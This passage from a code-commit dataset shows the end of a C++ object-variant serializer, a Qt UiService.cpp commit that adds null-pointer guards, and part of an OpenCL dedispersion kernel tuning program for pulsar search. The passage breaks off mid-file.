(mkSerializerInfo_<double, VariantValue::FloatType> ());\n RegisterSerializer (mkSerializerInfo_<Date, Date> ());\n RegisterSerializer (mkSerializerInfo_<DateTime, DateTime> ());\n \/\/\/ TODO - ARRAY??? Maybe using Sequence???\n RegisterSerializer (mkSerializerInfo_<String, String> ());\n}\n\nVariantValue ObjectVariantMapper::Serialize (const type_index& forTypeInfo, const Byte* objOfType)\n{\n Require (Lookup_ (forTypeInfo).fToVariantMapper);\n return Lookup_ (forTypeInfo).fToVariantMapper (this, objOfType);\n}\n\nvoid ObjectVariantMapper::Deserialize (const type_index& forTypeInfo, const VariantValue& d, Byte* into)\n{\n Require (Lookup_ (forTypeInfo).fFromVariantMapper);\n Lookup_ (forTypeInfo).fFromVariantMapper (this, d, into);\n}\n\nObjectVariantMapper::TypeMappingDetails ObjectVariantMapper::mkSerializerForStruct (const type_index& forTypeInfo, size_t n, const Sequence<StructureFieldInfo>& fields)\n{\n#if qDebug\n for (auto i : fields) {\n Require (i.fOffset < n);\n }\n {\n \/\/ assure each field unique\n Containers::Tally<size_t> t;\n for (auto i : fields) {\n t.Add (i.fOffset);\n }\n for (auto i : t) {\n Require (i.fCount == 1);\n }\n }\n {\n \/\/ Assure for each field type is registered\n for (auto i : fields) {\n Require (Lookup_ (i.fTypeInfo).fFromVariantMapper);\n Require (Lookup_ (i.fTypeInfo).fToVariantMapper);\n }\n }\n#endif\n\n \/\/ foo magic (could do cleaner?) to assure lifetime for whats captured in lambda\n struct foo {\n Sequence<StructureFieldInfo> fields;\n };\n shared_ptr<foo> fooptr (new foo ());\n fooptr->fields = fields;\n auto toVariantMapper = [fooptr] (ObjectVariantMapper * mapper, const Byte * objOfType) -> VariantValue {\n Mapping<String, VariantValue> m;\n for (auto i : fooptr->fields) {\n const Byte* fieldObj = objOfType + i.fOffset;\n m.Add (i.fSerializedFieldName, mapper->Serialize (i.fTypeInfo, objOfType + i.fOffset));\n }\n return VariantValue (m);\n };\n auto fromVariantMapper = [fooptr] (ObjectVariantMapper * mapper, const VariantValue & d, Byte * into) -> void {\n Mapping<String, VariantValue> m = d.As<Mapping<String, VariantValue>> ();\n for (auto i : fooptr->fields) {\n Memory::Optional<VariantValue> o = m.Lookup (i.fSerializedFieldName);\n if (not o.empty ()) {\n mapper->Deserialize (i.fTypeInfo, *o, into + i.fOffset);\n }\n }\n };\n return TypeMappingDetails (forTypeInfo, toVariantMapper, fromVariantMapper);\n}\n\nObjectVariantMapper::TypeMappingDetails ObjectVariantMapper::Lookup_ (const type_index& forTypeInfo) const\n{\n TypeMappingDetails foo (forTypeInfo, nullptr, nullptr);\n auto i = fSerializers_.Lookup (foo);\n Require (i.IsPresent ()); \/\/ if not present, this is a usage error - only use types which are registered\n return *i;\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * For conditions of distribution and use, see copyright notice in license.txt\n *\n * @file UiService.cpp\n * @brief Light-weight UI service. Implements UiServiceInterface and provides \n * means of embedding Qt widgets to the same scene\/canvas as the 3D in-world\n * view. Uses only one UI scene for everything.\n *\/\n\n#include \"StableHeaders.h\"\n#include \"DebugOperatorNew.h\"\n\n#include \"UiService.h\"\n#include \"UiProxyWidget.h\"\n\n#include \"MemoryLeakCheck.h\"\n\n#include <QUiLoader>\n\nUiService::UiService(QGraphicsView *view) : view_(view), scene_(view->scene())\n{\n assert(view_);\n assert(scene_);\n\n connect(scene_, SIGNAL(sceneRectChanged(const QRectF &)), SLOT(SceneRectChanged(const QRectF &)));\n}\n\nUiService::~UiService()\n{\n}\n\nUiProxyWidget *UiService::AddWidgetToScene(QWidget *widget, Qt::WindowFlags flags)\n{\n \/* QGraphicsProxyWidget maintains symmetry for the following states:\n * state, enabled, visible, geometry, layoutDirection, style, palette,\n * font, cursor, sizeHint, getContentsMargins and windowTitle\n *\/\n\n UiProxyWidget *proxy = new UiProxyWidget(widget, flags);\n\n \/\/ Synchorize windowState flags\n proxy->widget()->setWindowState(widget->windowState());\n\n AddWidgetToScene(proxy);\n\n \/\/ If the widget has WA_DeleteOnClose on, connect its proxy's visibleChanged()\n \/\/ signal to a slot which handles the deletion. This must be done because closing\n \/\/ proxy window in our system doesn't yield closeEvent, but hideEvent instead.\n if (widget->testAttribute(Qt::WA_DeleteOnClose))\n connect(proxy, SIGNAL(visibleChanged()), SLOT(DeleteCallingWidgetOnClose()));\n\n return proxy;\n}\n\nbool UiService::AddWidgetToScene(UiProxyWidget *widget)\n{\n if (widgets_.contains(widget))\n return false;\n\n widgets_.append(widget);\n\n if (widget->isVisible())\n widget->hide();\n\n \/\/ If no position has been set for Qt::Dialog widget, use default one so that the window's title\n \/\/ bar - or any other critical part, doesn't go outside the view.\n if ((widget->windowFlags() & Qt::Dialog) && widget->pos() == QPointF())\n widget->setPos(10.0, 200.0);\n\n \/\/ Resize full screen widgets to fit the scene rect.\n if (widget->widget()->windowState() & Qt::WindowFullScreen)\n {\n fullScreenWidgets_ << widget;\n widget->setGeometry(scene_->sceneRect().toRect());\n }\n\n scene_->addItem(widget);\n return true;\n}\n\nvoid UiService::AddWidgetToMenu(QWidget *widget)\n{\n}\n\nvoid UiService::AddWidgetToMenu(QWidget *widget, const QString &entry, const QString &menu, const QString &icon)\n{\n}\n\nvoid UiService::AddWidgetToMenu(UiProxyWidget *widget, const QString &entry, const QString &menu, const QString &icon)\n{\n}\n\nvoid UiService::RemoveWidgetFromScene(QWidget *widget)\n{\n scene_->removeItem(widget->graphicsProxyWidget());\n widgets_.removeOne(widget->graphicsProxyWidget());\n fullScreenWidgets_.removeOne(widget->graphicsProxyWidget());\n}\n\nvoid UiService::RemoveWidgetFromScene(QGraphicsProxyWidget *widget)\n{\n scene_->removeItem(widget);\n widgets_.removeOne(widget);\n fullScreenWidgets_.removeOne(widget);\n}\n\nQWidget *UiService::LoadFromFile(const QString &file_path, bool add_to_scene, QWidget *parent)\n{\n QWidget *widget = 0;\n QUiLoader loader;\n QFile file(file_path); \n file.open(QFile::ReadOnly);\n widget = loader.load(&file, parent);\n if(add_to_scene && widget)\n AddWidgetToScene(widget);\n return widget;\n}\n \nvoid UiService::RemoveWidgetFromMenu(QWidget *widget)\n{\n}\n\nvoid UiService::RemoveWidgetFromMenu(QGraphicsProxyWidget *widget)\n{\n}\n\nvoid UiService::ShowWidget(QWidget *widget) const\n{\n widget->graphicsProxyWidget()->show();\n}\n\nvoid UiService::HideWidget(QWidget *widget) const\n{\n widget->graphicsProxyWidget()->hide();\n}\n\nvoid UiService::BringWidgetToFront(QWidget *widget) const\n{\n ShowWidget(widget);\n scene_->setActiveWindow(widget->graphicsProxyWidget());\n scene_->setFocusItem(widget->graphicsProxyWidget(), Qt::ActiveWindowFocusReason);\n}\n\nvoid UiService::BringWidgetToFront(QGraphicsProxyWidget *widget) const\n{\n scene_->setActiveWindow(widget);\n scene_->setFocusItem(widget, Qt::ActiveWindowFocusReason);\n}\n\nvoid UiService::SceneRectChanged(const QRectF &rect)\n{\n foreach(QGraphicsProxyWidget *widget, fullScreenWidgets_)\n widget->setGeometry(rect);\n}\n\nvoid UiService::DeleteCallingWidgetOnClose()\n{\n QGraphicsProxyWidget *proxy = dynamic_cast<QGraphicsProxyWidget *>(sender());\n if (proxy && !proxy->isVisible())\n proxy->deleteLater();\n}\n<commit_msg>Added null pointer access guards to UiService.cpp.<commit_after>\/**\n * For conditions of distribution and use, see copyright notice in license.txt\n *\n * @file UiService.cpp\n * @brief Light-weight UI service. Implements UiServiceInterface and provides \n * means of embedding Qt widgets to the same scene\/canvas as the 3D in-world\n * view. Uses only one UI scene for everything.\n *\/\n\n#include \"StableHeaders.h\"\n#include \"DebugOperatorNew.h\"\n\n#include \"UiService.h\"\n#include \"UiProxyWidget.h\"\n\n#include \"MemoryLeakCheck.h\"\n\n#include <QUiLoader>\n\nUiService::UiService(QGraphicsView *view) : view_(view), scene_(view->scene())\n{\n assert(view_);\n assert(scene_);\n\n connect(scene_, SIGNAL(sceneRectChanged(const QRectF &)), SLOT(SceneRectChanged(const QRectF &)));\n}\n\nUiService::~UiService()\n{\n}\n\nUiProxyWidget *UiService::AddWidgetToScene(QWidget *widget, Qt::WindowFlags flags)\n{\n if (!widget)\n return 0;\n\n \/* QGraphicsProxyWidget maintains symmetry for the following states:\n * state, enabled, visible, geometry, layoutDirection, style, palette,\n * font, cursor, sizeHint, getContentsMargins and windowTitle\n *\/\n\n UiProxyWidget *proxy = new UiProxyWidget(widget, flags);\n assert(proxy->widget());\n\n \/\/ Synchorize windowState flags\n proxy->widget()->setWindowState(widget->windowState());\n\n AddWidgetToScene(proxy);\n\n \/\/ If the widget has WA_DeleteOnClose on, connect its proxy's visibleChanged()\n \/\/ signal to a slot which handles the deletion. This must be done because closing\n \/\/ proxy window in our system doesn't yield closeEvent, but hideEvent instead.\n if (widget->testAttribute(Qt::WA_DeleteOnClose))\n connect(proxy, SIGNAL(visibleChanged()), SLOT(DeleteCallingWidgetOnClose()));\n\n return proxy;\n}\n\nbool UiService::AddWidgetToScene(UiProxyWidget *widget)\n{\n if (!widget)\n return false;\n\n if (widgets_.contains(widget))\n return false;\n\n widgets_.append(widget);\n\n if (widget->isVisible())\n widget->hide();\n\n \/\/ If no position has been set for Qt::Dialog widget, use default one so that the window's title\n \/\/ bar - or any other critical part, doesn't go outside the view.\n if ((widget->windowFlags() & Qt::Dialog) && widget->pos() == QPointF())\n widget->setPos(10.0, 200.0);\n\n \/\/ Resize full screen widgets to fit the scene rect.\n if (widget->widget()->windowState() & Qt::WindowFullScreen)\n {\n fullScreenWidgets_ << widget;\n widget->setGeometry(scene_->sceneRect().toRect());\n }\n\n scene_->addItem(widget);\n return true;\n}\n\nvoid UiService::AddWidgetToMenu(QWidget *widget)\n{\n}\n\nvoid UiService::AddWidgetToMenu(QWidget *widget, const QString &entry, const QString &menu, const QString &icon)\n{\n}\n\nvoid UiService::AddWidgetToMenu(UiProxyWidget *widget, const QString &entry, const QString &menu, const QString &icon)\n{\n}\n\nvoid UiService::RemoveWidgetFromScene(QWidget *widget)\n{\n if (!widget)\n return;\n\n if (scene_)\n scene_->removeItem(widget->graphicsProxyWidget());\n widgets_.removeOne(widget->graphicsProxyWidget());\n fullScreenWidgets_.removeOne(widget->graphicsProxyWidget());\n}\n\nvoid UiService::RemoveWidgetFromScene(QGraphicsProxyWidget *widget)\n{\n if (!widget)\n return;\n\n if (scene_)\n scene_->removeItem(widget);\n widgets_.removeOne(widget);\n fullScreenWidgets_.removeOne(widget);\n}\n\nQWidget *UiService::LoadFromFile(const QString &file_path, bool add_to_scene, QWidget *parent)\n{\n QWidget *widget = 0;\n QUiLoader loader;\n QFile file(file_path); \n file.open(QFile::ReadOnly);\n widget = loader.load(&file, parent);\n if(add_to_scene && widget)\n AddWidgetToScene(widget);\n return widget;\n}\n \nvoid UiService::RemoveWidgetFromMenu(QWidget *widget)\n{\n}\n\nvoid UiService::RemoveWidgetFromMenu(QGraphicsProxyWidget *widget)\n{\n}\n\nvoid UiService::ShowWidget(QWidget *widget) const\n{\n if (!widget)\n return;\n\n if (widget->graphicsProxyWidget())\n widget->graphicsProxyWidget()->show();\n else\n widget->show();\n}\n\nvoid UiService::HideWidget(QWidget *widget) const\n{\n if (!widget)\n return;\n\n if (widget->graphicsProxyWidget())\n widget->graphicsProxyWidget()->hide();\n else\n widget->hide();\n}\n\nvoid UiService::BringWidgetToFront(QWidget *widget) const\n{\n if (!widget)\n return;\n\n ShowWidget(widget);\n scene_->setActiveWindow(widget->graphicsProxyWidget());\n scene_->setFocusItem(widget->graphicsProxyWidget(), Qt::ActiveWindowFocusReason);\n}\n\nvoid UiService::BringWidgetToFront(QGraphicsProxyWidget *widget) const\n{\n if (!widget)\n return;\n\n scene_->setActiveWindow(widget);\n scene_->setFocusItem(widget, Qt::ActiveWindowFocusReason);\n}\n\nvoid UiService::SceneRectChanged(const QRectF &rect)\n{\n foreach(QGraphicsProxyWidget *widget, fullScreenWidgets_)\n widget->setGeometry(rect);\n}\n\nvoid UiService::DeleteCallingWidgetOnClose()\n{\n QGraphicsProxyWidget *proxy = dynamic_cast<QGraphicsProxyWidget *>(sender());\n if (proxy && !proxy->isVisible())\n proxy->deleteLater();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <Kernel.hpp>\n#include <Shifts.hpp>\n#include <Dedispersion.hpp>\n#include <utils.hpp>\n#include <Timer.hpp>\n#include <Stats.hpp>\n\n\/\/ Define the data types\ntypedef float inputDataType;\nstd::string inputTypeName(\"float\");\nstd::string intermediateTypeName(\"float\");\ntypedef float outputDataType;\nstd::string outputTypeName(\"float\");\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< float > * shifts, cl::Buffer * shifts_d, cl::Buffer * dispersedData_d, const unsigned int dispersedData_size, cl::Buffer * dedispersedData_d, const unsigned int dedispersedData_size);\n\nint main(int argc, char * argv[]) {\n bool reInit = false;\n uint8_t inputBits = 0;\n unsigned int splitSeconds = 0;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tunsigned int minThreads = 0;\n unsigned int maxThreads = 0;\n\tunsigned int maxRows = 0;\n\tunsigned int maxColumns = 0;\n unsigned int threadUnit = 0;\n unsigned int threadIncrement = 0;\n unsigned int maxItems = 0;\n unsigned int maxUnroll = 0;\n unsigned int maxLoopBodySize = 0;\n AstroData::Observation observation;\n PulsarSearch::DedispersionConf conf;\n cl::Event event;\n\n\ttry {\n isa::utils::ArgumentList args(argc, argv);\n\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n conf.setSplitSeconds(args.getSwitch(\"-split_seconds\"));\n conf.setLocalMem(args.getSwitch(\"-local\"));\n\t\tobservation.setPadding(args.getSwitchArgument< unsigned int >(\"-padding\"));\n inputBits = args.getSwitchArgument< unsigned int >(\"-input_bits\");\n threadUnit = args.getSwitchArgument< unsigned int >(\"-thread_unit\");\n\t\tminThreads = args.getSwitchArgument< unsigned int >(\"-min_threads\");\n\t\tmaxThreads = args.getSwitchArgument< unsigned int >(\"-max_threads\");\n\t\tmaxRows = args.getSwitchArgument< unsigned int >(\"-max_rows\");\n\t\tmaxColumns = args.getSwitchArgument< unsigned int >(\"-max_columns\");\n threadIncrement = args.getSwitchArgument< unsigned int >(\"-thread_increment\");\n\t\tmaxItems = args.getSwitchArgument< unsigned int >(\"-max_items\");\n maxUnroll = args.getSwitchArgument< unsigned int >(\"-max_unroll\");\n maxLoopBodySize = args.getSwitchArgument< unsigned int >(\"-max_loopsize\");\n observation.setFrequencyRange(args.getSwitchArgument< unsigned int >(\"-channels\"), args.getSwitchArgument< float >(\"-min_freq\"), args.getSwitchArgument< float >(\"-channel_bandwidth\"));\n\t\tobservation.setNrSamplesPerSecond(args.getSwitchArgument< unsigned int >(\"-samples\"));\n observation.setDMRange(args.getSwitchArgument< unsigned int >(\"-dms\"), args.getSwitchArgument< float >(\"-dm_first\"), args.getSwitchArgument< float >(\"-dm_step\"));\n\t} catch ( isa::utils::EmptyCommandLine & err ) {\n\t\tstd::cerr << argv[0] << \" -iterations ... -opencl_platform ... -opencl_device ... [-split_seconds] [-local] -input_bits ... -padding ... -thread_unit ... -min_threads ... -max_threads ... -max_items ... -max_unroll ... -max_loopsize ... -max_columns ... -max_rows ... -thread_increment ... -min_freq ... -channel_bandwidth ... -samples ... -channels ... -dms ... -dm_first ... -dm_step ...\" << std::endl;\n\t\treturn 1;\n\t} catch ( std::exception & err ) {\n\t\tstd::cerr << err.what() << std::endl;\n\t\treturn 1;\n\t}\n\n \/\/ Allocate host memory\n std::vector< float > * shifts = PulsarSearch::getShifts(observation);\n if ( conf.getSplitSeconds() ) {\n if ( (observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) % observation.getNrSamplesPerSecond() == 0 ) {\n splitSeconds = (observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) \/ observation.getNrSamplesPerSecond();\n } else {\n splitSeconds = ((observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep())))) \/ observation.getNrSamplesPerSecond()) + 1;\n }\n } else {\n observation.setNrSamplesPerDispersedChannel(observation.getNrSamplesPerSecond() + static_cast< unsigned int >(shifts->at(0) * (observation.getFirstDM() + ((observation.getNrDMs() - 1) * observation.getDMStep()))));\n }\n\n\t\/\/ Initialize OpenCL\n\tcl::Context clContext;\n\tstd::vector< cl::Platform > * clPlatforms = new std::vector< cl::Platform >();\n\tstd::vector< cl::Device > * clDevices = new std::vector< cl::Device >();\n\tstd::vector< std::vector< cl::CommandQueue > > * clQueues = new std::vector< std::vector < cl::CommandQueue > >();\n isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n\n\t\/\/ Allocate device memory\n cl::Buffer shifts_d;\n cl::Buffer dispersedData_d;\n cl::Buffer dedispersedData_d;\n\n try {\n if ( conf.getSplitSeconds() ) {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, splitSeconds * observation.getNrChannels() * observation.getNrSamplesPerPaddedSecond(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n } else {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, observation.getNrChannels() * observation.getNrSamplesPerDispersedChannel(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n }\n } catch ( cl::Error & err ) {\n std::cerr << err.what() << std::endl;\n return -1;\n }\n\n\t\/\/ Find the parameters\n\tstd::vector< unsigned int > samplesPerBlock;\n\tfor ( unsigned int samples = minThreads; samples <= maxColumns; samples += threadIncrement ) {\n\t\tif ( (observation.getNrSamplesPerSecond() % samples) == 0 || (observation.getNrSamplesPerPaddedSecond() % samples) == 0 ) {\n\t\t\tsamplesPerBlock.push_back(samples);\n\t\t}\n\t}\n\tstd::vector< unsigned int > DMsPerBlock;\n\tfor ( unsigned int DMs = 1; DMs <= maxRows; DMs++ ) {\n\t\tif ( (observation.getNrDMs() % DMs) == 0 ) {\n\t\t\tDMsPerBlock.push_back(DMs);\n\t\t}\n\t}\n\n\tstd::cout << std::fixed << std::endl;\n\tstd::cout << \"# nrDMs nrChannels nrSamples splitSeconds local unroll samplesPerBlock DMsPerBlock samplesPerThread DMsPerThread GFLOP\/s time stdDeviation COV\" << std::endl << std::endl;\n\n\tfor ( std::vector< unsigned int >::iterator samples = samplesPerBlock.begin(); samples != samplesPerBlock.end(); ++samples ) {\n conf.setNrSamplesPerBlock(*samples);\n\n\t\tfor ( std::vector< unsigned int >::iterator DMs = DMsPerBlock.begin(); DMs != DMsPerBlock.end(); ++DMs ) {\n conf.setNrDMsPerBlock(*DMs);\n\t\t\tif ( conf.getNrSamplesPerBlock() * conf.getNrDMsPerBlock() > maxThreads ) {\n\t\t\t\tbreak;\n\t\t\t} else if ( (conf.getNrSamplesPerBlock() * conf.getNrDMsPerBlock()) % threadUnit != 0 ) {\n continue;\n }\n\n\t\t\tfor ( unsigned int samplesPerThread = 1; samplesPerThread <= maxItems; samplesPerThread++ ) {\n conf.setNrSamplesPerThread(samplesPerThread);\n\t\t\t\tif ( (observation.getNrSamplesPerSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread())) != 0 && (observation.getNrSamplesPerPaddedSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread())) != 0 ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tfor ( unsigned int DMsPerThread = 1; DMsPerThread <= maxItems; DMsPerThread++ ) {\n conf.setNrDMsPerThread(DMsPerThread);\n\t\t\t\t\tif ( (observation.getNrDMs() % (conf.getNrDMsPerBlock() * conf.getNrDMsPerThread())) != 0 ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} else if ( (conf.getNrSamplesPerThread() * conf.getNrDMsPerThread()) + conf.getNrDMsPerThread() > maxItems ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n for ( unsigned int unroll = 1; unroll <= maxUnroll; unroll++ ) {\n conf.setUnroll(unroll);\n if ( (observation.getNrChannels() - 1) % conf.getUnroll() != 0 ) {\n continue;\n } else if ( (conf.getNrSamplesPerThread() * conf.getNrDMsPerThread() * conf.getUnroll()) > maxLoopBodySize ) {\n break;\n }\n \/\/ Generate kernel\n double gflops = isa::utils::giga(static_cast< long long unsigned int >(observation.getNrDMs()) * observation.getNrChannels() * observation.getNrSamplesPerSecond());\n isa::utils::Timer timer;\n cl::Kernel * kernel;\n std::string * code = PulsarSearch::getDedispersionOpenCL(conf, inputBits, inputTypeName, intermediateTypeName, outputTypeName, observation, *shifts);\n\n if ( reInit ) {\n delete clQueues;\n clQueues = new std::vector< std::vector < cl::CommandQueue > >();\n isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n try {\n initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), shifts, &shifts_d, &dispersedData_d, observation.getNrChannels() * observation.getNrSamplesPerDispersedChannel(), &dedispersedData_d, observation.getNrDMs() * observation.getNrSamplesPerPaddedSecond());\n } catch ( cl::Error & err ) {\n return -1;\n }\n reInit = false;\n }\n try {\n kernel = isa::OpenCL::compile(\"dedispersion\", *code, \"-cl-mad-enable -Werror\", clContext, clDevices->at(clDeviceID));\n } catch ( isa::OpenCL::OpenCLError & err ) {\n std::cerr << err.what() << std::endl;\n delete code;\n break;\n }\n delete code;\n\n unsigned int nrThreads = 0;\n if ( observation.getNrSamplesPerSecond() % (conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) == 0 ) {\n nrThreads = observation.getNrSamplesPerSecond() \/ conf.getNrSamplesPerThread();\n } else {\n nrThreads = observation.getNrSamplesPerPaddedSecond() \/ conf.getNrSamplesPerThread();\n }\n cl::NDRange global(nrThreads, observation.getNrDMs() \/ conf.getNrDMsPerThread());\n cl::NDRange local(conf.getNrSamplesPerBlock(), conf.getNrDMsPerBlock());\n\n kernel->setArg(0, dispersedData_d);\n kernel->setArg(1, dedispersedData_d);\n kernel->setArg(2, shifts_d);\n\n try {\n \/\/ Warm-up run\n clQueues->at(clDeviceID)[0].finish();\n clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &event);\n event.wait();\n \/\/ Tuning runs\n for ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n timer.start();\n clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &event);\n event.wait();\n timer.stop();\n }\n } catch ( cl::Error & err ) {\n std::cerr << \"OpenCL error kernel execution (\";\n std::cerr << conf.print() << \"): \";\n std::cerr << isa::utils::toString(err.err()) << \".\" << std::endl;\n delete kernel;\n if ( err.err() == -4 || err.err() == -61 ) {\n return -1;\n }\n reInit = true;\n break;\n }\n delete kernel;\n\n std::cout << observation.getNrDMs() << \" \" << observation.getNrChannels() << \" \" << observation.getNrSamplesPerSecond() << \" \";\n std::cout << conf.print() << \" \";\n std::cout << std::setprecision(3);\n std::cout << gflops \/ timer.getAverageTime() << \" \";\n std::cout << std::setprecision(6);\n std::cout << timer.getAverageTime() << \" \" << timer.getStandardDeviation() << \" \";\n std::cout << timer.getCoefficientOfVariation() << std::endl;\n }\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::cout << std::endl;\n\n\treturn 0;\n}\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< float > * shifts, cl::Buffer * shifts_d, cl::Buffer * dispersedData_d, const unsigned int dispersedData_size, cl::Buffer * dedispersedData_d, const unsigned int dedispersedData_size) {\n try {\n *shifts_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, shifts->size() * sizeof(float), 0, 0);\n *dispersedData_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, dispersedData_size * sizeof(inputDataType), 0, 0);\n *dedispersedData_d = cl::Buffer(clContext, CL_MEM_READ_WRITE, dedispersedData_size * sizeof(outputDataType), 0, 0);\n clQueue->enqueueWriteBuffer(*shifts_d, CL_FALSE, 0, shifts->size() * sizeof(float), reinterpret_cast< void * >(shifts->data()));\n clQueue->finish();\n } catch ( cl::Error & err ) {\n std::cerr << \"OpenCL error: \" << isa::utils::toString(err.err()) << \".\" << std::endl;\n throw;\n }\n}\n\n<commit_msg>The version that uses split seconds needs a parameter more.<commit_after>\/\/ Copyright 2014 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <exception>\n#include <fstream>\n#include <iomanip>\n#include <limits>\n\n#include <ArgumentList.hpp>\n#include <Observation.hpp>\n#include <InitializeOpenCL.hpp>\n#include <Kernel.hpp>\n#include <Shifts.hpp>\n#include <Dedispersion.hpp>\n#include <utils.hpp>\n#include <Timer.hpp>\n#include <Stats.hpp>\n\n\/\/ Define the data types\ntypedef float inputDataType;\nstd::string inputTypeName(\"float\");\nstd::string intermediateTypeName(\"float\");\ntypedef float outputDataType;\nstd::string outputTypeName(\"float\");\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< float > * shifts, cl::Buffer * shifts_d, cl::Buffer * dispersedData_d, const unsigned int dispersedData_size, cl::Buffer * dedispersedData_d, const unsigned int dedispersedData_size);\n\nint main(int argc, char * argv[]) {\n bool reInit = false;\n uint8_t inputBits = 0;\n unsigned int splitSeconds = 0;\n\tunsigned int nrIterations = 0;\n\tunsigned int clPlatformID = 0;\n\tunsigned int clDeviceID = 0;\n\tunsigned int minThreads = 0;\n unsigned int maxThreads = 0;\n\tunsigned int maxRows = 0;\n\tunsigned int maxColumns = 0;\n unsigned int threadUnit = 0;\n unsigned int threadIncrement = 0;\n unsigned int maxItems = 0;\n unsigned int maxUnroll = 0;\n unsigned int maxLoopBodySize = 0;\n AstroData::Observation observation;\n PulsarSearch::DedispersionConf conf;\n cl::Event event;\n\n\ttry {\n isa::utils::ArgumentList args(argc, argv);\n\n\t\tnrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n\t\tclPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n\t\tclDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n conf.setSplitSeconds(args.getSwitch(\"-split_seconds\"));\n conf.setLocalMem(args.getSwitch(\"-local\"));\n\t\tobservation.setPadding(args.getSwitchArgument< unsigned int >(\"-padding\"));\n inputBits = args.getSwitchArgument< unsigned int >(\"-input_bits\");\n threadUnit = args.getSwitchArgument< unsigned int >(\"-thread_unit\");\n\t\tminThreads = args.getSwitchArgument< unsigned int >(\"-min_threads\");\n\t\tmaxThreads = args.getSwitchArgument< unsigned int >(\"-max_threads\");\n\t\tmaxRows = args.getSwitchArgument< unsigned int >(\"-max_rows\");\n\t\tmaxColumns = args.getSwitchArgument< unsigned int >(\"-max_columns\");\n threadIncrement = args.getSwitchArgument< unsigned int >(\"-thread_increment\");\n\t\tmaxItems = args.getSwitchArgument< unsigned int >(\"-max_items\");\n maxUnroll = args.getSwitchArgument< unsigned int >(\"-max_unroll\");\n maxLoopBodySize = args.getSwitchArgument< unsigned int >(\"-max_loopsize\");\n observation.setFrequencyRange(args.getSwitchArgument< unsigned int >(\"-channels\"), args.getSwitchArgument< float >(\"-min_freq\"), args.getSwitchArgument< float >(\"-channel_bandwidth\"));\n\t\tobservation.setNrSamplesPerSecond(args.getSwitchArgument< unsigned int >(\"-samples\"));\n observation.setDMRange(args.getSwitchArgument< unsigned int >(\"-dms\"), args.getSwitchArgument< float >(\"-dm_first\"), args.getSwitchArgument< float >(\"-dm_step\"));\n\t} catch ( isa::utils::EmptyCommandLine & err ) {\n\t\tstd::cerr << argv[0] << \" -iterations ... -opencl_platform ... -opencl_device ... [-split_seconds] [-local] -input_bits ... -padding ... -thread_unit ... -min_threads 